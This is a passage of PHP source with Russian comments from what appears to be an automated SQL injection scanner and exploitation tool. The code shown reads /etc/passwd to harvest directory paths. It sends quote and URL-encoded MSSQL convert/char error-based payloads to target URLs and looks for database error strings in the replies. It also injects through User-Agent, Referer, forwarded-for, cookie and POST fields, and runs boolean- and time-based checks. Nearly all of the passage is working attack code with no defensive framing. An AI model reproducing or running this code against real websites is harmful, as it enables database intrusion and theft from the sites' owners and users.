explode(\":\",$pss);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t//\t$this-\u003ed($pss_one,'$pss_one');\n\t\t\t\t\t\n\t\t\t\t\t$lll6 = \t$pss_one[6];\n\t\t\t\t\t$pp_new6 = explode('/',$pss_one[6]);\n\t\t\t\t\t\n\t\t\t\t\tif(preg_match(\"/var|home|usr|mnt|opt|nfs/i\",$pss_one[6]) and  $pss_one[6] !='' AND count($pp_new6) \u003e 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed($pss_one[6],'$pss_one6');\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new6) \u003e 3 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new6[0].\"/\".$pp_new6[1].\"/\".$pp_new6[2].\"/\".$pp_new6[3];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new6) \u003e 4 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new6[0].\"/\".$pp_new6[1].\"/\".$pp_new6[2].\"/\".$pp_new6[3].\"/\".$pp_new6[4];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new6) \u003e 5 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new6[0].\"/\".$pp_new6[1].\"/\".$pp_new6[2].\"/\".$pp_new6[3].\"/\".$pp_new6[4].\"/\".$pp_new6[5];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new6) \u003e 6 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new6[0].\"/\".$pp_new6[1].\"/\".$pp_new6[2].\"/\".$pp_new6[3].\"/\".$pp_new6[4].\"/\".$pp_new6[5].\"/\".$pp_new6[6];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t$passwd_new[] = $lll6;\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$lll5 = \t$pss_one[5];\n\t\t\t\t\t$pp_new0 = explode('/',$pss_one[5]);\n\t\t\t\t\t\n\t\t\t\t\tif(preg_match(\"/var|home|usr|mnt|opt|nfs/i\",$pss_one[5]) and  $pss_one[5] !='' AND count($pp_new0) \u003e 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t//\t$this-\u003ed($pss_one[5],'$pss_one5');\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new0) \u003e 3 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new0[0].\"/\".$pp_new0[1].\"/\".$pp_new0[2].\"/\".$pp_new0[3];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new0) \u003e 4 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new0[0].\"/\".$pp_new0[1].\"/\".$pp_new0[2].\"/\".$pp_new0[3].\"/\".$pp_new0[4];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new0) \u003e 5 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new0[0].\"/\".$pp_new0[1].\"/\".$pp_new0[2].\"/\".$pp_new0[3].\"/\".$pp_new0[4].\"/\".$pp_new0[5];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new0) \u003e 6 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new0[0].\"/\".$pp_new0[1].\"/\".$pp_new0[2].\"/\".$pp_new0[3].\"/\".$pp_new0[4].\"/\".$pp_new0[5].\"/\".$pp_new0[6];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$passwd_new[] = $lll5;\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$lll4 = \t$pss_one[4];\n\t\t\t\t\t$pp_new4 = explode('/',$lll4);\n\t\t\t\t\t\n\t\t\t\t\tif(preg_match(\"/var|home|usr|mnt|opt|nfs/\",$pss_one[4]) AND $pss_one[4] !='' AND count($pp_new4) \u003e 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed($pss_one[4],'$pss_one4');\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new4) \u003e 3 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new4[0].\"/\".$pp_new4[1].\"/\".$pp_new4[2].\"/\".$pp_new4[3];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new4) \u003e 4 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new4[0].\"/\".$pp_new4[1].\"/\".$pp_new4[2].\"/\".$pp_new4[3].\"/\".$pp_new4[4];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new4) \u003e 5 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new4[0].\"/\".$pp_new4[1].\"/\".$pp_new4[2].\"/\".$pp_new4[3].\"/\".$pp_new4[4].\"/\".$pp_new4[5];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new4) \u003e 6 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new4[0].\"/\".$pp_new4[1].\"/\".$pp_new4[2].\"/\".$pp_new4[3].\"/\".$pp_new4[4].\"/\".$pp_new4[5].\"/\".$pp_new4[6];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$passwd_new[] = $lll4;\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t$lll3 = \t$pss_one[3];\n\t\t\t\t\t$pp_new3 = explode('/',$pss_one[3]);\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif(preg_match(\"/var|home|usr|mnt|opt|nfs/i\",$pss_one[3]) and  $pss_one[3] !='' AND count($pp_new3) \u003e 1 )\n\t\t\t\t\t{\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t//$this-\u003ed($pss_one[3],'$pss_one3');\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new3) \u003e 3 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new3[0].\"/\".$pp_new3[1].\"/\".$pp_new3[2].\"/\".$pp_new3[3];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new3) \u003e 4 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new3[0].\"/\".$pp_new3[1].\"/\".$pp_new3[2].\"/\".$pp_new3[3].\"/\".$pp_new3[4];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new3) \u003e 5 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new3[0].\"/\".$pp_new3[1].\"/\".$pp_new3[2].\"/\".$pp_new3[3].\"/\".$pp_new3[4].\"/\".$pp_new3[5];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tif(count($pp_new3) \u003e 6 )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$passwd_new[] = $pp_new3[0].\"/\".$pp_new3[1].\"/\".$pp_new3[2].\"/\".$pp_new3[3].\"/\".$pp_new3[4].\"/\".$pp_new3[5].\"/\".$pp_new3[6];\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t$passwd_new[] = $lll3;\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t$passwd_new = array_unique($passwd_new);\n\t\t\t//$this-\u003ed($passwd_new,'$passwd_new');\n\t\t\treturn $passwd_new;\n\t\t\t\t\n\t\t}\n\t}\n\t\n\tfunction load_passwd_def(){\n\t\t\n\t\treturn $this-\u003eload_file('/etc/passwd');\n\t}\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t/////////////////Первоначальное тестирование ErrorFinder////////\n\t////////////////////////////////////////////////////////////////\n\tfunction inj_test($value='',$sleep=true){ //предварительная фукнция которая разбрасывает куда идет запрос\n\t\n\t\n\t\t$this-\u003echeck_https($value,$this-\u003eh_s);\n\t\t$value = $this-\u003efilter_url($value);\n\t\t\n\t\tif($this-\u003echeck_head($value)==true)\n\t\t{\n\t\t\t$res = $this-\u003einj_test_head('',$this-\u003eh_s);\n\t\t\treturn $res;\n\t\t}else\n\t\t{\n\t\t\t\n\t\t\t$res = $this-\u003einj_test_get($value);\n\t\t\treturn $res;\n\t\n\t\t\t\n\t\t}\n\t\n\t}\n\t\n\tfunction inj_test_get($value='',$sleep=true){ // errorFinder первоначальная проверка на ошибки mssql mysql\n\t\t\n\t\t\n\t\t\n\t\t$value_orig = $value;\n\t\t\n\n\t\t$this-\u003evalue_orig=$value;\n\t\t$value_orig = $value;\n\t\t$d = $value;\n\t\t$d = str_replace('\u0026amp;', \"\u0026\", $d);\n\t\t$d .= \"'\\\"\";\n\t\t$d = str_replace(\"\u0026\",\"'\u0026\",$d);\n\t\t\t\n\t\t\n\t\t\n\t\n\t\t\n\t\t\t\n\t\tif (preg_match('/\\.asp|\\.cfm/si', $d))\n\t\t{\n\t\t\t$this-\u003ed('asp link');\n\t\t\t\n\t\t\t\n\t\t\tif( $this-\u003einj_test_get_mssql($value_orig))\n\t\t\t{\n\t\t\t\t$this-\u003emssql = true;\n\t\t\t\treturn 'mssql error';\n\t\t\t}else\n\t\t\t{\n\t\t\t\t$this-\u003ed('false testing_mssql preg');\n\t\t\t\t$this-\u003emssql = false;\n\t\t\t\t//return false;\n\t\t\t}\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t/////Поиск явных ошибок//////\n\t\t\n\t\t\t\n\t\t$file = $this-\u003egetContents($d);\n\t\t//$this-\u003ed($file,'file');\n\t\t\n\t\tforeach ($this-\u003eerror_text_mysql as $key)\n\t\t{\n\t\t\tif(substr_count($file,$key)\u003e0)\n\t\t\t{\n\t\t\t\t$this-\u003ed($d,'URL good mysql');\n\t\t\t\treturn $key;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif($file=='')\n\t\t{\n\t\t\t$this-\u003ed('stop tk error php = 1');\t\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t//////Boolean Based////////\n\t\t\n\t\t$boolean = $this-\u003eurlMultiCheckmethod($value_orig);\n\t\t\n\t\tif($this-\u003epost_enable)\n\t\t{\n\t\t\t\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t//$this-\u003ed($boolean,'$boolean');\n\t\t\n\t\tif($boolean)\n\t\t{\t\n\t\t\treturn $boolean;\n\t\t}else\n\t\t{\n\t\t\t$this-\u003ed('false boolean');\n\t\t}\n\t\t\n\t\t/////time based///////\n\t\t\n\t\t$this-\u003esleep_check1 = true;//только установка sqli\n\t\t$this-\u003esleep_check2 = false;//более подробная проверка отключена\n\t\t\n\t\t\n\t\t$sleep = $this-\u003esqli($value);\n\t\t\n\n\t\tif($sleep !== FALSE)\n\t\t{\n\t\t\treturn $sleep;\n\t\t}else\n\t\t{\n\t\t\t\n\t\t\t$this-\u003ed('false sleep_sqli');\n\t\t\t\n\t\t\tif($this-\u003emysqlFindErrorSql()==true){\n\t\t\t\treturn 'mysqlFindErrorSql';\t\n\t\t\t}else{\n\t\t\t\t$this-\u003ed('false mysqlFindErrorSql');\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($this-\u003emysqlFindErrorSqlNew()==true){\n\t\t\t\treturn 'mysqlFindErrorSqlNew';\t\n\t\t\t}else{\n\t\t\t\t$this-\u003ed('false mysqlFindErrorSqlNew');\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\treturn FALSE;\n\t\t}\n\t\t\n\t\t\n\t}\n\t\n\tfunction inj_test_head($url,$hs){ //Идет и как самостоятельная функция для проверки заголовков в нужном формате так и под подфункция\n\t\t\n\t\t\n\t\tif($hs['url'] !='')$url = $hs['url'];\n\t\t$this-\u003echeck_https($url,$hs);\n\t\t$url = $this-\u003efilter_url($url);\t\n\t\t\n\t\t\n\t\t\n\t\t$this-\u003eheader = true;\n\t\t$this-\u003ehead_enable=true;\n\t\t\n\t\t$head = $hs['inject'];\n\t\t\n\t\t\n\t\tif($this-\u003epost_enable)\n\t\t{\n\t\t\t$value = $this-\u003eform_set['form_page_act'];\n\t\t\t$query = $this-\u003eform_set['form_post_query'];\n\t\t\t\n\t\t\t\n\t\t\t$value_orig = $query;\n\t\t\t\n\t\t\t$d = $query;\n\t\t\t$d = str_replace('\u0026amp;', \"\u0026\", $d);\n\t\t\t$d .= \"'\\\"\";\n\t\t\t$d = str_replace(\"\u0026\",\"'\u0026\",$d);\n\t\t\t\n\t\t\t$this-\u003eform_set['form_post_query'] = $d;\n\t\t}else\n\t\t{\n\t\t\n\t\t}\n\t\t\n\t\t$tmp = parse_url($url);//отпарвляем без http чтобы вытащить чистый url на всякий\n\t\t$url =$tmp['path']; \n\t\t//$this-\u003ed($tmp,'$tmp22 BEFORE inj_test_get_head');\n\t\t\n\t\n\t\n\t\t\n\t\t$this-\u003evalue_orig=$value;\n\t\t$value_orig = $value;\n\t\t\n\t\t\n\t\t//$this-\u003ed($url,'$url inj_test_get_head');\n\t\t//exit;\n\t\tif($head == 'useragent')\n\t\t{\n\t\t\t$this-\u003emethod_old =true;\n\t\t\t$this-\u003eh_s['useragent'] = 'mozilla';\n\t\t\t$this-\u003eh_s['useragent'] .= \"'\\\"\";\n\t\t\t\n\t\t}elseif($head == 'referer')\n\t\t{\n\t\t\t$this-\u003emethod_old =true;\n\t\t\t$this-\u003eh_s['referer'] =   'google.com';\n\t\t\t$this-\u003eh_s['referer']    .= \"'\\\"\";\n\t\t\t$this-\u003emethod_old=true;\n\t\t\t\n\t\t}elseif($head == 'forwarder')\n\t\t{\n\t\t\t$this-\u003emethod_old =true;\n\t\t\t$this-\u003eh_s['forwarder'] = '8.8.8.8';\n\t\t\t$this-\u003eh_s['forwarder'] .= \"'\\\"\";\n\t\t\t$this-\u003emethod_old=true;\n\t\t}elseif($head == 'post')\n\t\t{\n\t\t\t$this-\u003eh_s['post'] =      $hs['post'];\n\t\t\t$this-\u003eh_s['post'] = str_replace('\u0026amp;', \"\u0026\", $this-\u003eh_s['post']);\n\t\t\t$this-\u003eh_s['post'] .= \"'\\\"\";\n\t\t\t$this-\u003eh_s['post'] = str_replace(\"\u0026\",\"'\\\u0026\",$this-\u003eh_s['post']);\n\t\t\t\n\t\t}elseif($head == 'cookies')\n\t\t{\n\t\t\t\n\t\t\tif($hs['cookies'] !=''){\n\t\t\t\t$this-\u003eh_s['cookies'] =   $hs['cookies'];\n\t\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$this-\u003eh_s['cookies'] =   $this-\u003eh_s['cookies'];\n\t\t\t}\n\t\t\t\n\t\t\t$this-\u003eh_s['cookies'] .= \"'\\\"\";\n\t\t\t$this-\u003eh_s['cookies'] = str_replace(\"\u0026\",\"'\u0026\",$this-\u003eh_s['cookies']);\n\t\t}\n\t\t\n\t\t\n\t\tif($hs['cookies_static'] !='')\n\t\t{\n\t\t\t$this-\u003eh_s['cookies_static'] =   $hs['cookies_static'];\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t$this-\u003eh_s['post_static'] =  $hs['post_static'];\n\t\t\n\t\t$this-\u003eh_s['sqli'] =  $hs['sqli'];\n\t\t\n\t\t$this-\u003eh_s['inject'] = $head;\n\t\t\n\t\t$this-\u003eh_s['url'] =  $url;\n\t\t\n\t\t$this-\u003eh_s['data'] = $this-\u003eh_s[$head];\n\t\t\t\n\t\t\t\n\t\tif($this-\u003eh_s['data'] !='')\n\t\t{\n\t\t\t$url = $url2 = $url.\"?\".$this-\u003eh_s['data'];\n\t\t\t$url2 = str_replace(array(\"'\",'\"'),'',$url2);\n\t\t\t\n\t\t}else{\n\t\t\t\n\t\t\t$this-\u003ed('HEAD INJECT EMPTY');\n\t\t\treturn false;\n\t\t}\t\n\t\t\n\t\t\n\t\t\t/////Поиск явных ошибок//////\n\t\t$this-\u003ed($url,'url AFTER inj_test_get_head');\n\t\t//$this-\u003ed($url2,'url2 AFTER inj_test_get_head');\n\t\t\n\t\t/////////////////////////////////\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t$file = $this-\u003egetContents($url);\n\t\t//$this-\u003ed($file,'file HEAD');\n\t\t\n\t\t//$this-\u003ed($this-\u003eerror_text_mysql,'$this-\u003eerror_text_mysql');\n\t\t//die;\n\t\t\n\t\t\n\t\t\n\t\tforeach ($this-\u003eerror_text_mysql_head as $key)\n\t\t{\n\t\t\tif(substr_count($file,$key)\u003e0)\n\t\t\t{\n\t\t\t\t$this-\u003ed($url2,'URL HEAD good mysql:::'. $key);\n\t\t\t\treturn $key;\n\t\t\t\t//return $head;\n\t\t\t}\n\t\t}\n\t\t\n\t\tif($file=='')\n\t\t{\n\t\t\t$this-\u003ed('stop tk error php = 1');\t\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t//return false;\n\t\t\n\t\t$this-\u003esleep_check1 = true;//только установка sqli\n\t\t$this-\u003esleep_check2 = false;//более подробная проверка отключена\n\t\t\n\t\t\n\t\t$sleep = $this-\u003esqli_all($url2);\n\t\t\n\n\t\tif($sleep !== FALSE)\n\t\t{\n\t\t\treturn $sleep;\n\t\t}else\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t/////////////////////////////////\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\t\n\t\n\t\n\t\n\t\n\tfunction inj_test_get_mssql($value=''){ // errorFinder первоначальная проверка на ошибки mssql\n\t\t\n\t\t\n\t\t$url2 = $this-\u003efilter_url($value);\n\t\t\n\t\t\n\t\t\n\n\t\t$urls = $this-\u003eurlParseUrl($url2);\n\t\t\n\t\t//$this-\u003ed($urls,'$urls');\n\t\t\n\t\t\n\t\t\n\t\tforeach ($urls as $url_chek)\n\t\t{\n\t\t\t\n\t\t\t$len = iconv_strrpos($url_chek,'=');\n\t\t\t//$this-\u003ed($len,'$len');\n\t\t\t\n\t\t\t$new_url_chek = substr($url_chek,0,$len+1);\n\t\t\t//$this-\u003ed($new_url_chek,'$new_url_chek');\n\t\t\t//exit;\n\t\t\t\n\t\t\t\n\t\t\t$new_check= $new_url_chek;\n\t\t\t\n\t\t\t$new_check = $new_check.\"%2f**%2fcOnVeRt(int%2c(char(33)%2bchar(126)%2bchar(33)%2b(char(65)%2bchar(66)%2bchar(67)%2bchar(49)%2bchar(52)%2bchar(53)%2bchar(90)%2bchar(81)%2bchar(54)%2bchar(50)%2bchar(68)%2bchar(87)%2bchar(81)%2bchar(65)%2bchar(70)%2bchar(80)%2bchar(79)%2bchar(73)%2bchar(89)%2bchar(67)%2bchar(70)%2bchar(68))%2bchar(33)%2bchar(126)%2bchar(33)))\";\n\t\t\t\n\t\t\t\n\t\t\t$file_check = $this-\u003egetContents($new_check);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(substr_count($file_check,'!~!ABC145ZQ62DWQAFPOIYCFD!~!')\u003e0)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed($new_check,'!~!ABC145ZQ62DWQAFPOIYCFD!~!');\n\t\t\t\t\treturn 'mssql error ABC';\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$d = $url_chek;\n\t\t\t$d = str_replace('\u0026amp;', \"\u0026\", $d);\n\t\t\t$d = str_replace(\"\u0026\",\"'\u0026\",$d);\n\t\t\t$d .= \"'0=A\";\n\t\t\t\t//$this-\u003ed($d,'d');\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t$file = $this-\u003egetContents($d);\n\t\t\t\n\t\t\t\n\t\t\tif($file=='')\n\t\t\t{\n\t\t\t\t$this-\u003ed('stop tk error mssql = 1');\t\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t\n\t\t\t\n\t\t\tforeach ($this-\u003eerror_text_mssql as $key)\n\t\t\t{\n\n\t\t\t\tif(substr_count($file,$key)\u003e0)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed($url_chek,'good url');\n\t\t\t\t\treturn $key;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//$this-\u003ed($file,'$file');\n\t\t\t//exit;\n\t\t\t\t\n\t\t}\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\treturn false;\n\t\t\n\n\t}\n\t\t\n\tfunction inj_test_head_mssql($value=''){ // errorFinder первоначальная проверка на ошибки mssql\n\t\t\n\t\t\n\t\t$url2 = $this-\u003efilter_url($value);\n\t\t\n\t\t\n\t\t\n\n\t\t$urls = $this-\u003eurlParseUrl($url2);\n\t\t\n\t\t//$this-\u003ed($urls,'$urls');\n\t\t\n\t\t\n\t\t\n\t\tforeach ($urls as $url_chek)\n\t\t{\n\t\t\t\n\t\t\t$len = iconv_strrpos($url_chek,'=');\n\t\t\t//$this-\u003ed($len,'$len');\n\t\t\t\n\t\t\t$new_url_chek = substr($url_chek,0,$len+1);\n\t\t\t//$this-\u003ed($new_url_chek,'$new_url_chek');\n\t\t\t//exit;\n\t\t\t\n\t\t\t\n\t\t\t$new_check= $new_url_chek;\n\t\t\t\n\t\t\t$new_check = $new_check.\"%2f**%2fcOnVeRt(int%2c(char(33)%2bchar(126)%2bchar(33)%2b(char(65)%2bchar(66)%2bchar(67)%2bchar(49)%2bchar(52)%2bchar(53)%2bchar(90)%2bchar(81)%2bchar(54)%2bchar(50)%2bchar(68)%2bchar(87)%2bchar(81)%2bchar(65)%2bchar(70)%2bchar(80)%2bchar(79)%2bchar(73)%2bchar(89)%2bchar(67)%2bchar(70)%2bchar(68))%2bchar(33)%2bchar(126)%2bchar(33)))\";\n\t\t\t\n\t\t\t\n\t\t\t$file_check = $this-\u003egetContents($new_check);\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(substr_count($file_check,'!~!ABC145ZQ62DWQAFPOIYCFD!~!')\u003e0)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed($new_check,'!~!ABC145ZQ62DWQAFPOIYCFD!~!');\n\t\t\t\t\treturn 'mssql error ABC';\n\t\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$d = $url_chek;\n\t\t\t$d = str_replace('\u0026amp;', \"\u0026\", $d);\n\t\t\t$d = str_replace(\"\u0026\",\"'\u0026\",$d);\n\t\t\t$d .= \"'0=A\";\n\t\t\t\t//$this-\u003ed($d,'d');\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\t\n\t\t\t$file = $this-\u003egetContents($d);\n\t\t\t\n\t\t\t\n\t\t\tif($file=='')\n\t\t\t{\n\t\t\t\t$this-\u003ed('stop tk error mssql = 1');\t\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t\n\t\t\t\n\t\t\tforeach ($this-\u003eerror_text_mssql as $key)\n\t\t\t{\n\n\t\t\t\tif(substr_count($file,$key)\u003e0)\n\t\t\t\t{\n\t\t\t\t\t$this-\u003ed($url_chek,'good url');\n\t\t\t\t\treturn $key;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//$this-\u003ed($file,'$file');\n\t\t\t//exit;\n\t\t\t\t\n\t\t}\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\treturn false;\n\t\t\n\n\t}\n\t\t\n\t\t\n\t\t\n\t\n\t\n\t\n\t////////////////////////////////////////////////////////////////\n\t//////НАХОЖЕНИЕ МЕТОДА(перебор,ошибка) ДЛЯ SQLI инъекции///////\n\t///// ЭТО ДЛЯ ОПРЕДЕЛЕНИЯ КАКИМ СПОСОБ БУДЕТ ЛОМАТЬСЯ URL в STARTS ЮЗАЕТСЯ, не учается в запросах///\n\t////////////////////////////////////////////////////////////////\n\tfunction inject($url,$data=false,$set=false,$post=false){//фукнция предраспределения\n\t\t\n\t\t$this-\u003echeck_https($url,$this-\u003eh_s);\n\t\t$url = $this-\u003efilter_url($url);\n\t\t\n\t\t\n\t\t\n\t\tif($this-\u003echeck_head($url)==true)\n\t\t{\n\t\t\t$this-\u003ed('head START');\n\t\t\t$url = str_replace('post::','',$url);\n\t\t\t$res = $this-\u003ehead_inject($url,$this-\u003eh_s,$data,$set,$post);\n\t\t\treturn $res;\n\t\t}else\n\t\t{\n\t\t\t\n\t\t\t$res = $this-\u003eget_inject($url,$data,$set,$post);\n\t\t\treturn $res;\n\t\n\t\t\t\n\t\t}\n\t}\n\t\n\tfunction get_inject($url,$data=false,$set=false,$post=false){//дочерняя START и далее определние на уязвимость \n\t\t\n\t\t\n\t\t\n\t\t//$this-\u003ed($this-\u003ehttps,'https PROVERKA');\n\t\t//exit;\n\t\t\n\t\t$this-\u003esleep_check2 = TRUE;\n\t\t$this-\u003ehttps_check=false;//сбросить счёт проверки на https\n\n\t\t$this-\u003echeck_https($url);\n\t\t$this-\u003eurl = $this-\u003efilter_url($url);\n\t\t\n\t\t//$this-\u003ed($this-\u003ehttps,'https KU?');\n\t\t//$this-\u003ed($this-\u003eurl,'$this-\u003eurl');\n\t\t//exit;\n\t\t\n\t\n\t\t\n\t\tif($this-\u003ehead_enable==true)\n\t\t{\n\n\t\t\t//подменный url как значение POST\n\t\t\t\t\t\t\n\t\t\t$value =$this-\u003eurl;\n\t\t\t\n\t\t\t$this-\u003eurl2 = $this-\u003efilter_url($value);\n\n\t\t\tif($this-\u003epost_full== true)\n\t\t\t{\n\t\t\t\t\n\t\t\t\t$this-\u003egetContents($url);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t}\n\t\t\n\t\t\n\n\t\t\n\t\t\t\n\t\t\t\n\t\tif (preg_match('/\\.asp|\\.cfm/si', $this-\u003eurl))\n\t\t{\n\t\t\t//$this-\u003ed('asp cfm link inject');\n\t\t\t\n\t\t\tif($this-\u003emssql_check==true)\n\t\t\t{\n\t\t\t\n\t\t\t\tif($this-\u003emssql == false)\n\t\t\t\t{\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tif( $this-\u003einj_test_get_mssql($this-\u003eurl))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed('inj_test_get_mssql INJECT TRUE INJECT PREDVARITELNO');\n\t\t\t\t\t\t$this-\u003emssql = true;\n\t\t\t\t\t}else\n\t\t\t\t\t{\n\t\t\t\t\t\t$this-\u003ed('false testing_mssql preg VOZMOJNO MYSQL');\n\t\t\t\t\t\t$this-\u003emssql = false;\n\t\t\t\t\t\t//return false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t}else\n\t\t{\n\t\t\t$this-\u003emssql = false;\t\n\t\t}\n\t\t\n\t\t//exit;\n\t\t\n\t\t\n\t\t\t\t\n\t\tif($data!==false)\n\t\t{\t\n\t\t\t\t\n\t\t\t//$this-\u003ed($data,'data yes');\n\t\t\t//exit;\n\t\t\t\n\t\t\n\t\t\tif(isset($data['posts_one']) or $data['posts_one'] !='')\n\t\t\t{\n\t\t\t\t$data['posts'] = $data['posts_one'];\n\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\tif($data['posts']['http'] =='https' or $data['posts']['http'] =='https://')\n\t\t\t{\n\t\t\t\t$this-\u003ehttps=true;\n\t\t\t\t$this-\u003ehttps_check=true;\n\t\t\t}\t\n\t\t\t\n\t\t\t\n\t\t\n\t\t\tif($data['posts']['method']==10 AND $this-\u003esleep_metod !=true)\n\t\t\t{\n\t\t\t\t//$this-\u003ed('method = 10 and sleep false');\n\t\t\t\t//return false;\n\t\t\t}\n\t\t\n\t\t\t\n\t\t\t$this-\u003esposob  = $data['posts']['sposob'];\n\t\t\t$this-\u003emethod  = 